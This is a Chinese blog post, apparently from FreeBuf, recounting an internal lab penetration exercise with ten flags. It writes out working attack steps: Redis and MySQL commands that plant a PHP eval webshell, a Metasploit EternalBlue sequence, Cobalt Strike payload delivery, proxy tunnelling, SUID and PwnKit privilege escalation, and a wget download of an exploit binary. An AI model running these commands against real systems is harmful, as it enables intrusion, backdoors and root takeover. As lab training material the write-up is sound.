freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

记一次内部靶场渗透
fufusan 2023-03-29 15:02:46 161252
所属地 福建省

打完俱乐部的靶场已经过去了一周,我也可以开始写我的第一篇文章了。先说明一下各主机的信息吧:

攻击机:win11 IP:172.23.66.158

外网主机:win7 IP:172.23.66.161 内网段:10.10.10.3

内网主机:linux IP:10.10.10.26

这次的内网靶场是由一个外网主机和一个内网主机构成,一共有10个flag,先打开两台虚拟机,但是部长没告诉我们外网主机的IP,只能用fscan扫了。

如上扫到一些80端口的IP段,我们一个一个访问看看就可以了,然后发现IP是在172.23.66.161,那就先来观察看看有什么可疑的渗透点。

第1个flag

首先主页面是一个dedecms。

这里的第一反应是去找dedecms的nday漏洞,找了一圈基本都要登入后台或者是要注册账号,但是这个靶场出现了一些小问题,验证码刷不出来也绕不过去。

而且网站里的flag提示也是想让我们拿到会员权限,我问了部长,他说确实是出现了一些小问题,不过不能注册账号无关紧要。

好吧,那就找其他的方法进去,想起来还没信息收集,于是马上目录和御剑全端口扫描安排上。

这里扫到了一些可疑文件像是flag.php和一些可以利用的危险端口,我们直接先去看看flag.php,但是网站打开提示报错,按F12查看源代码也没有,应该是这个php文件里藏了个flag,然后接着继续翻找文件,发现.gitignore里面有第一个flag。直接上交。

虽然到这里第一个flag就结束了,但是他既然放在.gitignore说明这个文件是有用的。于是我去查资料发现这个文件主要是设置一些不用被缓存的文件。这里就要说到.git文件,这个文件说通俗一点就是一个对程序每个版本都对一定数据进行备份的文件。使用一些特定工具可以对.git里的内容还原出代码,代码的量看他选择备份多少东西,而刚刚提到的.gitignore就是可以选择出不保存备份的文件。

那这个文件其实也只在一些特定情况下有用,因为他可能会泄露出一部分网站的目录结构 , 或者一些日志/配置文件等敏感文件。

第2,3个flag

在网站各种可疑的地方尝试之后,都没发现可以getshell的点,这里只能用刚刚扫过的危险端口来试试,139,445想到永恒之蓝的MS17-010,看到6379想到了redis未授权漏洞,redis数据库有可能没有设置密码。

MS17-010的话这里直接用msf尝试打入exp就可以了。

先打开metasploit,然后搜索一下MS17-010相关模块。

使用永恒之蓝攻击模块:use exploit/windows/smb/ms17_010_eternalblue 设置攻击载荷set payload。

`

最后设置一下目标主机win7的IP地址set rhosts 192.168.43.114(这里IP不是之前的172.23.66.161是因为我回宿舍换了个网,IP也跟着换了,就只有这里不同,后面的还是172.23.66.161)。

就可以exploit进行攻击了。

这里再上传个后门木马上去就OK了,这里再讲一下redis的方法。

6379端口是redis服务的端口,redis是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库暴露出来的问题也很多,特别是前段时间暴露的未授权访问。这个数据库默认是没有密码的,需要自行设置密码,这也是这个端口容易被渗透的原因,而要防御远程连接的话可以像mysql设置只能127.0.0.1连接即只能本地连接。

关于redis端口的渗透方法,可以用ssh写入公钥然后进行私钥渗透,也可以利用计划任务反弹shell,这里介绍一种比较常用的直接写入webshell的方法,但是需要获取网站路径。

先用redis-cli.exe进行远程ip连接,发现可以连接后,直接打入getshell语句。

redis-cli.exe -h 172.23.66.161

config set dir c:/phpstudy_pro/www

config set dbfilename test.php

set x "<?php eval($_POST[x]);?>"

save

(这里dir的路径是我根据WINDOWS网站根目录常见存放位置猜出来的)

来到后台,直接猛拿第二和第三flag。

第4个flag

这个flag我猜测就是在数据库里,所以直接打入数据库,但是蚁剑的数据库功能实在不怎么样,所以我这里换了哥斯拉进行数据库连接,蚁剑已经有后门的情况下,换哥斯拉拿后门过程我就不说了。之后就是登入数据库,我们首先要找到账户密码。

我觉得像这种靶场的话账户密码应该都会存放在某一个文件,我就一直翻都没翻到,最后还是部长提醒我他是个cms我才反应过来,这里太迟钝了。

那我们就直接去网上搜索这个dedecms的数据库配置文件位置,果然一搜就有了。

拿到账号密码之后直接用哥斯拉的数据库功能登入,然后翻找目录,找到了第四个flag

第5个flag

其实第五个flag原本是提权才能查看的,但是因为设题者失误,蚁剑的后门已经是system,所以可以直接在后门命令执行输入for /r c:/ %i in (*flag*) do @echo %i 这是windows查找文件的命令,对应的linux的为find / -name "*flag*" 找到最后一个存放flag的文件直接打开查看flag

但是这里我还是讲一下用cs提权查看flag的方法吧。

先打开CS。

进去之后直接用菜单里的attack----Web Drive-by----Scripted Web Delivery的木马后门

勾选上x64,把powershell换成exe其他默认设置即可,然后把exe放入win7用命令执行就能看到win7上线了cs。

然后只要右键上线的主机用里面的Elevate的模块功能就能实现提权,这里建议可以去下载个提权扩展包,这样提权选择的方法更多。

提权完之后就可以直接进入文件查看flag内容了。

第6个flag

接下来就是要进入内网了,我先说说如何进入内网以及进入内网的原理。内网就是存在于某一个封闭式网络里,如果没有代理服务器,那么在内网里的主机是无法连接外网或者被外网的主机所访问的。那么如果我们要访问内网,就要有一个能连接到内网且我们也能连接到的代理服务器,这样我们请求内网的时候,如果设置了代理服务器,我们就会先把请求发给代理服务器,然后代理服务器再把请求发给内网主机,响应包也是如此,内网主机先给代理服务器,然后代理服务器再把包发到我们的主机上。

而内网常见的流量代理工具,就是为了创建一个代理服务器,现在这台内网主机是和刚刚的外网主机在同一内网的,我们现在win7上扫一下内网段为10.10.10.1/24。

然后我们把fscan放在win7主机上扫就可以扫到内网主机的ip为10.10.10.26,这里我就介绍三个工具的使用,neo-regeorg和frp以及proxifier。

neo-regeorg

这是一款正向代理的流量代理工具,使用也会比frp简单一点

先看看regeorg的两个基础命令

python neoreg.py generate -k password

python neoreg.py -k password -u http://xx/tunnel.php

在输入完第一个命令之后,会在regeorg所在目录的neoreg_servers下生成各个语言的木马。

因为环境是php,所以直接把php木马放入我们要当作代理服务器的主机win7,接着再在我们本地启用python脚本去连接,最后用proxifier代理去监听端口。

注意,regeorg如果没有设置端口就默认是自己主机的1080端口与win7主机产生连接通道,也就是说如果你要发送请求到代理服务器,就要用自己的1080端口发送请求。设置proxifier的socks5代理127.0.0.1:1080就可以了,这样就能让1080端口发送请求到代理服务器。

最后直接访问10.10.10.26就能访问成功。

frp

frp这款工具与neo-regeorg不一样的地方是frp是反向代理,且分为frps(服务端),frpc(客户端)

先来说说正反向代理:

正向代理:我们要去访问一个我们访问不到的主机的时候,例如内网的主机或者国外的网站等等,我们可以设置一个正向代理服务器,这台正向代理服务器要求是可以连接到内网的主机也可以连接到我们主机,这时我们就可以把请求发送给正向代理服务器,让他去请求内网主机,然后再把返回包给到我们主机,此时内网主机并不知道我们主机的ip等信息。

反向代理:跟正向代理一样的是,我们去访问一个访问不到的主机,也需要通过反向代理来发包给内网主机,再通过代理返回给我们主机,不同的是反向代理是与内网主机绑定,即我们通常情况下来说不知道内网主机的ip地址,此时我们可以访问他的反向代理服务器来使用内网主机的服务(这也是反向代理的主要作用),而我们在反向代理服务器上怎么去获得内网主机的服务是由建立反向代理和内网主机的人控制的,举个例子,百度就是一个大型反向代理服务器,我们去百度上搜索问题,百度就会因为自身的搜索程序代码并且利用反向代理帮我们去访问它内网的主机的相关内容,然后把包返回给我们。

但是在这次的内网渗透靶场中,我们是知道内网主机的ip地址的,那么我们就不需要去访问反向代理服务器,而且就算访问反向代理服务器,在服务器上也没有配置代码让我们能访问到内网的任何服务,所以我们建立完代理后也是跟正向代理一样,设置socks5代理直接访问内网ip就行。

接下来进入正题。

我们需要把frpc文件在反向代理服务器上运行,然后把frps文件在反向代理服务器和我们主机都能访问的主机上运行。

通常来说,网上的frp使用攻略都是我们要先自己买一台云服务器(内有外网ip,故反向代理服务器和我们主机都能访问到),然后在上面运行frps。

但是这样的方法还得掏钱买服务器,于是我探究了一下frp运行的原理,感觉有其他的设置方法。

经过我的测试,发现frps运行的载体只要满足能收到反向代理服务器发送的数据包且能把包发送到我们主机就可以。

那么在这个内网环境下我们是不是能够把frps也放到反向代理服务器上呢,因为我们的主机可以接收到反向代理服务器的包而且反向代理服务器也能把数据发给自己的某个端口。

那这样反向代理服务器的某个端口就可以模拟为云服务器,成为我们的代理。于是我马上尝试,发现是可以的。

我们把frpc.exe frpc.ini frps.exe frps.ini都上传到win7然后配置一下fprc.ini和frps.ini

frps.ini

bind_port:代理所占的服务端口

frpc.ini

server_addr:frps(服务端)的IP地址,由于我们frps和frpc都放在同一台主机上,所以直接127.0.0.1

server_port:frps所绑定的服务端口(即frps.ini的bind_port)

tcpe:发送方式(协议)

plugin:代理方式

remote_port:选择将数据发送到frps的哪个端口(待会代理的时候就是选择frps的这个端口)

之后先后运行

frps.exe -c frps.ini

frpc.exe -c frpc.ini

这里没有任何回显,不过没关系,可能是蚁剑这里有bug,我们直接上代理连看看。

因为我们是让win7作为反向代理服务器且与frps(也就还是win7主机)的46075端口连接,所以我们代理要用win7主机的46075端口代理,然后登入内网。

第6个flag到手。

第7个flag

来到内网之后没有任何的网站页面,所以还是直接端口和目录的收集。

扫到了目录那我们就先进入看看。

依旧是一个cms网站,但是说修复了部分功能,那应该是修复了常见nday,尽管如此我们还是要去搜一下nday,在某个文章里发现了这个cms后台后默认密码。

在url后面输入admin后尝试登录,发现成功。

来到后台翻找一下,找到了第7个flag。

第8个flag

(先第9个flag是因为第9个flag比第8个好找)

先来到最容易想到的文件管理功能。

直接新建个1.php空文件并且编辑内容,但是这里设置了不能编辑内容,果然getshell没那么好拿。

那只能找其他的方法,想到之前在cms界面提示说让我们去找一下配置文件,于是想到可能可以目录遍历,在当前位置使用../定位,发现可以进入上一级目录.

发现这里有个config.php,打开后就看到了数据库密码。

接着再往前翻到根目录,发现了flag。

第9个flag

刚刚拿到了数据库密码,那我们就要尝试进入数据库,在翻找flag的过程中,我在etc目录下发现了PhpMyadmin,不过不知道为什么刚刚扫描的时候没有爆出来,那既然如此就直接访问一下PhpMyadmin(这里能从网站目录访问到根目录的etc\PhpMyadmin是因为有中间件设置)。

输入刚刚的账号密码,找到在数据库里的flag。

第10个flag

既然进来了phpmyadmin,就先getshell吧,mysql中是有写入文件的语句的,但是需要先查看一下secure-file-priv参数是否为空。

如果value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行),如果为空,则不限制目录。接着输入数据库写入文件语句。

select'<?php eval($_POST[x]);?>' into outfile '/var/www/html/4.php'

网站根目录是刚刚在后台有给的,当然也可以用日志写入来写马,方法有很多,然后用蚁剑连接getshell,最后一个flag应该是被藏起来了,我们用find / -name "*flag*" 命令查找。

发现root/flag.txt很可疑,但是权限不足访问不了,原来最后一个是要提权。

先用hostnamectl看一下系统内核。

把这个centos 7放在网上搜一下,发现有几个提权漏洞,这里介绍两个:suid和cve-2021-4034。

suid

这个相较于其他的比较简单,先介绍一下

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

那我们就需要先看看哪些文件具有suid,打入命令find / -perm -u=s -type f 2>/dev/null查看。

接着输入

/usr/bin/find 具有suid的文件 -exec 命令 \;

可以看到此时权限变为root,那么我们就可以利用这个文件去打开权限要求为root的 /root/flag.txt。

拿到第10个flag

cve-2021-4034

这个exp需要先上传一个Pwnkit,但是这里出了点问题,不知道为什么Pwnkit上传一直出错,但是却能上传到win7,所以这里干脆先上传到win7再在linux上打入命令wget http://10.10.10.3/Pwnkit下载

这里记得要先给Pwnkit读写执行权限,输入命令ls -l可以查看权限。

然后输入 chmod 777 Pwnkit加权。

可以看到pwnkit权限前后的变化,之后就是直接利用pwnkit提权。

至此,10个flag全部找出.

总结

从这次的渗透靶场可以看出信息收集是很重要的,前期信息收集没做好就会耗掉很多时间,对每个渗透环节的原理都要弄清楚,才能有所收获。

# 渗透测试 # web安全 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 fufusan 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
fufusan LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 1 关注者
文章目录